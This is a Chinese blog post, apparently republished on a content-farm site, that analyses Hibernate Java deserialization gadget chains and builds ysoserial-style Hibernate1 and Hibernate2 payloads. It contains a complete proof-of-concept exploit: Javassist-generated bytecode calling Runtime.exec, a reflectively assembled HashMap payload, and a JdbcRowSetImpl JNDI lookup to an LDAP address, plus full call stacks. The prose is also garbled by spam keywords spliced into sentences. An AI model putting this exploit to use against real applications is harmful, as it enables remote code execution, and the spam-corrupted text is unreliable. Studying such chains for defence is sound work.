您现在的位置是:物联网 >>正文
深究Java Hibernate框架下的Deserialization
物联网9人已围观
简介写在前面Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java 框架,它最大的优点是使用了 ORM 技术。 ...
Hibernate是深究一个开源免费的 、基于 ORM 技术的架下 Java 持久化框架 。通俗地说,深究Hibernate 是架下一个用来连接和操作数据库的 Java 框架 ,它最大的深究优点是使用了 ORM 技术。
Hibernate 支持几乎所有主流的架下关系型数据库 ,只要在配置文件中设置好当前正在使用的深究数据库 ,程序员就不需要操心不同数据库之间的源码下载架下差异。
分析对于Hibernate框架的深究反序列化链主要是通过调用了任意的getter方法,结合TemplatesImpl这条链子进行利用链的架下构造 。
BasicPropertyAccessor在该框架中存在有org.hibernate.property.PropertyAccessor这个接口

我们从这个注释可以知道,深究定义了一个类的架下属性值的相关策略
在接口中的定义了两个方法,分别为getGettergetSetter方法
该接口的深究实现类是BasicPropertyAccessor

定义了两个实现类BasicGetter/ BasicSetter
主要来看看BasicGetter类

首先,在其构造方法中传入了三个参数 ,服务器租用架下分别是深究目标类,目标方法,目标属性 。
同时关注get方法的实现,将会触发目标的method方法,这里就是漏洞点。
那么这个Getter又是从何而来的呢 ?
我们可以关注到BasciPropertyAccessor类对getSetter方法的重写

在getSetter方法中将会调用createGetter方法,进而调用了getGetterOrNull方法 。

在该方法中 ,高防服务器将会通过getterMethod方法得到对应属性的getter方法名,如果存在的话,将会将其封装为BasicGetter对象进行返回。
那我们跟进一下getterMethod方法

首先在该方法中将会调用theClass.getDeclaredMethods方法得到目标类的所有存在的方法,之后遍历这些方法 ,如果该方法参数个数不为零就跳过,获取方法返回Bridge也会跳过,之后在获取该方法名之后,判断是否是get开头,如果是源码库 ,将会进行比对处理之后返回这个方法 。
就这样得到了对应的Getter方法 ,而想要调用,还需要使用他的get方法。
那么又是在哪里调用了其get方法的呢 ?
AbstractComponentTuplizer答案就这个类中
类中存在一个getPropertyValue方法

将会遍历调用getters属性中的get方法
我们看看getters属性是个啥

他是一个Getter对象数组 ,正好了 ,上面返回了一个Getter方法 ,可以反射写入这个数组中 ,免费模板在getPropertyValue方法中调用其get方法 ,达到利用链的触发 。
但是值得注意的是AbstractComponentTuplizer是一个抽象类 ,我们寻找一下他的子类。

存在有两个子类,DynamicMapComponentTuplizer类和PojoComponentTuplizer类一个是处理映射为Map对象 ,一个映射为JAVA实体。
我们可以发现在PojoComponentTuplizer类中存在有getPropertyValues方法。

且能够调用父类的香港云服务器getPropertyValues方法,
那么这个类方法又是在何处存在调用 。
TypedValue通过Uage的搜索,发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中 。

在其构造方法中传入了Type和Object对象的映射 ,在上面提到的ComponentType同样实现了Type接口。
在构造方法中除了赋值 ,还调用了initTransients方法 。

创建了一个 ValueHolder 对象 ,并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法 。
之后将其赋予给hashCode属性,我们可以关注到反序列化入口点,在hashCode方法中调用了初始化赋值的hashCode属性的getValue方法。

即是调用了ValueHolder#getValue方法,

在这里将会调用之前初始化时重写的initialize方法 ,

如果此时的type是ComponentType就将会调用它的getHashCode方法,

最终调用了getPropertyValue方法形成了利用链 。
利用构造Hibernate1
同样的 ,首先创建一个TemplatesImpl对象
复制//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{ bytes});1.2.3.4.5.6.7.8.9.10.11.12.之后获取对应的getter。
复制//创建 BasicGetter 实例 ,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);constructor.setAccessible(true);getter = constructor.newInstance(templates.getClass(), method, "outputProperties");1.2.3.4.5.之后我们需要触发getter的get方法 ,根据前面的分析,我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用。
所以我们创建一个实例并反射写入数据。
复制Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);//反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");field.setAccessible(true);Object getters = Array.newInstance(getter.getClass(), 1);Array.set(getters, 0, getter);field.set(tuplizer, getters);1.2.3.4.5.6.7.完整的POC。
复制package pers.hibernate;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.hibernate.engine.spi.TypedValue;import org.hibernate.type.Type;import pers.util.SerializeUtil;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;public class Hibernate1 { public static void main(String[] args) throws Exception { Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType"); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer"); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer"); //动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); SerializeUtil.setFieldValue(templates, "_name", "RoboTerh"); SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{ bytes}); Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); Object getter; try { //创建 GetterMethodImpl 实例 ,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0]; constructor.setAccessible(true); getter = constructor.newInstance(null, null, method); } catch (Exception ignored) { //创建 BasicGetter 实例 ,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true); getter = constructor.newInstance(templates.getClass(), method, "outputProperties"); } //创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass); //反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters"); field.setAccessible(true); Object getters = Array.newInstance(getter.getClass(), 1); Array.set(getters, 0, getter); field.set(tuplizer, getters); //创建 ComponentType 实例 ,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = SerializeUtil.createWithoutConstructor(componentTypeClass); //反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer"); field1.setAccessible(true); field1.set(type, tuplizer); Field field2 = componentTypeClass.getDeclaredField("propertySpan"); field2.setAccessible(true); field2.set(type, 1); Field field3 = componentTypeClass.getDeclaredField("propertyTypes"); field3.setAccessible(true); field3.set(type, new Type[]{ (Type) type}); //创建 TypedValue 实例 ,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null); //创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(typedValue, "su18"); //put 到 hashmap 之后再反射写入 ,防止 put 时触发
Field valueField = TypedValue.class.getDeclaredField("value"); valueField.setAccessible(true); valueField.set(typedValue, templates); ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap); SerializeUtil.readObject(byteArrayOutputStream); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.解释一下其中try catch句中是因为 :
在不同版本中,由于部分类的更新交替,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:
使用org.hibernate.property.access.spi.GetterMethodImpl替代org.hibernate.property.BasicPropertyAccessor$BasicGetter。
使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对 PojoComponentTuplizer 进行封装。
调用栈 复制exec:347, Runtime (java.lang)<clinit>:-1,Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:102, Hibernate1 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35. Hibernate2上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的 。
这条链就是通过JdbcRowSetImpl这条链触发JNDI注入,细节在fastjson的利用链中就讲过了,可以找一下我的文章。
因为我们能够触发任意的getter方法 ,所以我们可以通过调用getDatabaseMetaData方法。

进而调用connect方法触发漏洞,

POC的构造也很简单,只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。
复制JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");1.2.3.
ExecTemplateJDK8
forName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:91, VersionHelper12 (com.sun.naming.internal)loadClass:106, VersionHelper12 (com.sun.naming.internal)getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)getObjectInstance:189, DirectoryManager (javax.naming.spi)c_lookup:1085, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)connect:624, JdbcRowSetImpl (com.sun.rowset)getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:88, Hibernate2 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41. 总结对于Hibernate的链子来说,还是要看具体的版本,再次修改POC ,自我感觉版本之间的关键方法差异有点大 。
Refhttps://su18.org/
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“信息技术视野”。http://www.bziz.cn/html/035d799957.html
上一篇:网络安全事件响应中的典型反面模式
下一篇:网络安全中不可忽视的进攻性安全
相关文章
XZ后门检测工具和脚本最新汇总
物联网2024年3月,Linux流行压缩工具xzUtils5.6.0和5.6.1版本)曝出名为“XZ后门”的恶意软件,震惊了全球安全社区。该后门如果成功进入Linux正式发行版)允许攻击者通过SSH身份验证 ...
【物联网】
阅读更多TPLinkHyFi(快速连接、稳定信号、全面覆盖,让你的网络畅享无忧)
物联网在现代社会中,网络已经成为人们生活和工作中不可或缺的一部分。而无线路由器作为实现网络连接的核心设备之一,对于网络的稳定性和性能至关重要。TPLinkHyFi作为一款高性能无线路由器,它通过创新的技术和 ...
【物联网】
阅读更多电脑重装系统的详细教程(快速、简单、安全的操作步骤)
物联网在电脑运行一段时间后,由于各种原因,系统可能变得缓慢、不稳定或受到病毒攻击。这时,电脑重装系统是一个有效的解决方法。本文将详细介绍如何快速、简单、安全地进行电脑重装系统。备份重要数据1.确保将所有重要 ...
【物联网】
阅读更多
热门文章
最新文章
友情链接
- SKG抽油烟机质量评测(全面分析SKG抽油烟机的性能与可靠性)
- HTCM8像素之超越期待的照相机(HTCM8搭载的照相技术让您拍照更具细节和清晰度)
- IBM携手腾讯联合发布《无边界零售》白皮书:洞察行业新格局,赋能企业“无边界零售”转型
- 新华三亮相2022全球工业互联网大会 展现“新硬件”创新实力
- 小米膜的优点和特点(为你的手机屏幕保驾护航)
- 中兴A2015顶配(性能强大,拍照出色,超高性价比引领市场潮流)
- 昊诚电池(以昊诚电池怎么样为主题的研究及评价分析)
- 以友唱(与好友合唱,畅享音乐的魅力)
- OPPOA59信号质量如何?(信号稳定性与通话质量是关键)
- 高铁餐服(高铁餐服的创新与发展) 网站建设云服务器b2b信息平台企业服务器亿华云源码库香港物理机